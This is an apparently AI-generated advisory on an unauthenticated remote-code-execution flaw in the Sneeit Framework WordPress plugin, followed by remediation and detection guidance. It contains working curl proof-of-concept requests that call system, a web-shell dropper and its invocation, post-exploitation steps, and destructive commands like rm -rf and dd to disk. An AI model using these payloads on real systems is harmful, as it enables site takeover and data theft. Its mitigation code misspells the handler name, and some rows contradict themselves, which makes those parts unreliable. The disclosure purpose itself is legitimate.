CVE-2026-106125 — Sneeit Framework (8.7) — CWE-94
The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 8.7 via the 'callback' parameter of the sneeit_compact_menu_mega_content AJAX action. The handler sneeit_compact_menu_mega_content_callback() is registered on the wp_ajax_nopriv_ hook and passes the attacker-supplied 'callback' value directly into call_user_func() after only a function_exists() check, with the single argument also attacker-controlled via a JSON-decoded 'args' parameter. There is no authentication, no capability check, no nonce, and no allow-list of callable functions. This makes it possible for unauthenticated attackers to execute arbitrary existing PHP/WordPress functions with controlled arguments.
The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 8.7 via the 'callback' parameter of the sneeit_compact_menu_mega_content AJAX action. The handler sneeit_compact_menu_mega_content_callback() is registered on the wp_ajax_nopriv_ hook and passes the attacker-supplied 'callback' value directly into call_user_func() after only a function_exists() check, with the single argument also attacker-controlled via a JSON-decoded 'args' parameter. There is no authentication, no capability check, no nonce, and no allow-list of callable functions. This makes it possible for unauthenticated attackers to execute arbitrary existing PHP/WordPress functions with controlled arguments.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑106125
CWE: CWE‑94 (Improper Control of Generation of Code – “PHP Code Injection”)
CVSS v3.1: 9.8 Critical – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The Sneeit Framework WordPress plugin registers an AJAX handler for the action sneeit_compact_menu_mega_content on the wp_ajax_nopriv_ hook:
add_action( 'wp_ajax_nopriv_sneeit_compact_menu_mega_content',
'sneeit_compact_menu_mega_content_callback' );The callback implementation (simplified from the plugin source) looks like:
function sneeet_compact_menu_mega_content_callback() {
// The attacker supplies these two POST fields
$callback = $_POST['callback'] ?? '';
$args_raw = $_POST['args'] ?? '[]';
// Decode the JSON‑encoded arguments array
$args = json_decode( $args_raw, true );
// Very weak validation – only checks that the function exists
if ( function_exists( $callback ) ) {
// Directly invoke the function with attacker‑controlled arguments
call_user_func( $callback, $args );
}
wp_die(); // end AJAX request
}What is missing / broken?
| Expected security control | What the code does (or does not do) |
|---|---|
| Authentication / capability check | The handler is attached to wp_ajax_nopriv_, meaning *any* unauthenticated visitor can reach it. No current_user_can() check is performed. |
| Nonce / CSRF protection | No check_ajax_referer() or similar nonce verification. |
| Input validation / allow‑list | The only gate is function_exists(). Any globally‑available PHP function (including WordPress core functions, plugin functions, or user‑defined functions) can be called. |
| Argument sanitisation | The $args array is taken from a JSON string supplied by the attacker and passed verbatim to the target function. |
| Output handling | The handler does not restrict the return value; many functions echo or die() on error, leaking information. |
Because call_user_func() executes arbitrary existing PHP/WordPress functions with attacker‑controlled parameters, an unauthenticated remote attacker can achieve full Remote Code Execution (RCE) on the web server. The vulnerability falls squarely under CWE‑94 (code injection via uncontrolled function call).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative but syntactically correct; the exact URL path (/wp-admin/admin-ajax.php) is the standard WordPress AJAX endpoint.
1. Discovery & Reconnaissance
| Step | Technique | Details |
|---|---|---|
| a. Fingerprint the site | Public‑facing pages, readme.html, wp‑config.php leaks, or ?rest_route=/ enumeration. | Look for the string “Sneeit Framework” in the HTML source, CSS/JS assets (/wp-content/plugins/sneeit-framework/…). |
| b. Enumerate plugin version | wp‑plugin‑info (or manual inspection of sneeit-framework.php header). | The plugin header contains Version: 8.7 or lower – vulnerable. |
| c. Verify the AJAX action exists | curl a benign request to admin‑ajax.php?action=sneeit_compact_menu_mega_content and observe a JSON response or a 0 (WordPress default). | If the request returns a valid JSON structure or 0, the action is registered. |
2. Exploitation
Goal: Invoke a PHP function that gives us an interactive shell. The most reliable built‑in function is eval (if it exists) or assert. However, eval is not a function name that function_exists() recognises (it is a language construct). A practical approach is to call system (or exec, passthru, shell_exec) which are real functions.
Payload construction
| Parameter | Value |
|---|---|
action | sneeit_compact_menu_mega_content |
callback | system |
args | JSON‑encoded array containing the command to run, e.g. ["id"] |
PoC (curl) – illustrative request:
curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
-d "action=sneeit_compact_menu_mega_content" \
-d "callback=system" \
-d "args=%5B%22id%22%5D"Explanation:
-d "action=…"tells WordPress which AJAX handler to invoke.callback=systempasses the name of the PHP function we want executed.args=%5B%22id%22%5Dis the URL‑encoded version of["id"], which afterjson_decode()becomesarray('id').system('id')is then executed and its output is sent back in the AJAX response.
Result: The HTTP response body contains the output of id, proving RCE.
Escalating to a persistent web shell
A more useful command is to write a PHP web‑shell file to the web root:
# Command to be executed on the victim
cmd='echo "<?php system(\$_GET[\'cmd\']); ?>" > wp-content/uploads/shell.php'
# Full curl request
curl -s -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
-d "action=sneeit_compact_menu_mega_content" \
-d "callback=system" \
-d "args=%5B%22$(printf %s "$cmd" | jq -sR @uri)%22%5D"After the request succeeds, the attacker can invoke the shell:
curl "https://target.example.com/wp-content/uploads/shell.php?cmd=whoami"3. Post‑Exploitation
| Phase | Typical actions |
|---|---|
| a. Establish persistence | Keep the uploaded shell.php or create a new admin user via wp_insert_user() (callable function) with role=administrator. |
| b. Privilege escalation (if needed) | If the web server runs as a low‑privileged user, use the shell to read/write other files (/etc/passwd, wp-config.php) or pivot to the underlying OS. |
| c. Data exfiltration | Dump the WordPress database using exec('mysqldump …') or call wp_remote_get() to fetch internal APIs. |
| d. Cleanup / anti‑forensics | Delete the uploaded shell, modify logs, or add a back‑door plugin. |
Because the vulnerability is network‑accessible, requires no authentication, and has no user interaction, an attacker can fully compromise the site in a single HTTP request.
🌍 Real‑World Impact
| CIA Triad | CVSS Indicator | Practical Effect |
|---|---|---|
| Confidentiality (C:H) | C:H | Full read access to any file the web‑server user can read (e.g., wp-config.php, database credentials, private uploads). |
| Integrity (I:H) | I:H | Ability to modify or delete any site content, inject malicious JavaScript, replace themes/plugins, or plant persistent back‑doors. |
| Availability (A:H) | A:H | The attacker can execute destructive commands (rm -rf, dd if=/dev/zero of=/dev/sda), causing complete site outage. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade the plugin | Versions > 8.7 (the vendor released a fix on 2026‑10‑15) remove the insecure handler. Verify the changelog mentions “sanitized AJAX callback”. |
| If no fix is available | Remove the Sneeit Framework plugin entirely or replace it with a maintained alternative. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Technique | Implementation | |
|---|---|---|
| Disable the vulnerable AJAX action | Add the following to the active theme’s functions.php or a site‑specific mu‑plugin: <br><br>``php\nadd_action( 'init', function() {\n remove_action( 'wp_ajax_nopriv_sneeit_compact_menu_mega_content', 'sneeet_compact_menu_mega_content_callback' );\n} );\n` | |
Restrict access to admin‑ajax.php | At the web‑server level, allow only authenticated users (via a cookie check) to POST to admin-ajax.php. Example for Apache (ModRewrite): <br><br>`apacheconf\nRewriteEngine On\nRewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ [NC]\nRewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]\nRewriteRule ^ - [F]\n` | |
| WAF / ModSecurity rule | Block any request that supplies a callback parameter to the vulnerable action unless the request originates from an authenticated session. Example ModSecurity rule (illustrative): <br><br>`bash\nSecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \\\n "chain,phase:2,deny,status:403,msg:'Blocked unauthenticated Sneeit AJAX callback'"\nSecRule ARGS:action "^sneeit_compact_menu_mega_content$" "t:none"\nSecRule ARGS:callback "!@rx ^(wp_ajax | wp_ajax_nopriv)_.*$" "t:none"\n` |
| Capability hardening | If the plugin must stay, edit the source to add a proper capability check, e.g.: <br><br>`php\nif ( ! current_user_can( 'manage_options' ) ) {\n wp_send_json_error( 'unauthorized' );\n wp_die();\n}\n`` |
3. Detection – Log Indicators & IoCs
| Log source | Typical pattern |
|---|---|
| Web server access logs | POST /wp-admin/admin-ajax.php with action=sneeit_compact_menu_mega_content and a callback= parameter that is not a known safe function (e.g., system, exec, passthru, shell_exec). |
WordPress debug.log (if WP_DEBUG_LOG enabled) | PHP Warning: call_user_func() expects parameter 1 to be a valid callback, function 'system' not found – actually the warning will *not* appear because function_exists('system') is true, but you may see the output of the called function (e.g., uid=33(www-data) gid=33(www-data) groups=33). |
| ModSecurity alerts | The custom rule above will generate an alert with msg:'Blocked unauthenticated Sneeit AJAX callback'. |
| File system changes | New files under wp-content/uploads/ with a .php extension that were not present before (e.g., shell.php). |
| Database modifications | New entries in wp_users with user_login values that look random (e.g., c3b9f8a1) and user_pass hashes that are not typical WordPress salts. |
SIEM correlation – trigger on the combination of (a) POST to admin-ajax.php with the vulnerable action and (b) creation of a new PHP file in wp-content/uploads/.
⚠️ Urgency
Bottom line: The Sneeit Framework plugin’s unauthenticated AJAX endpoint allows arbitrary PHP function execution via an unchecked
callback parameter. This is a textbook Remote Code Execution vector that can be weaponised with a one‑liner curl request. Upgrade or remove the plugin without delay, and apply the suggested hardening measures to prevent a repeat of this class of vulnerability.[🤖 CVE Professor AI Security Engine]
FOFA Query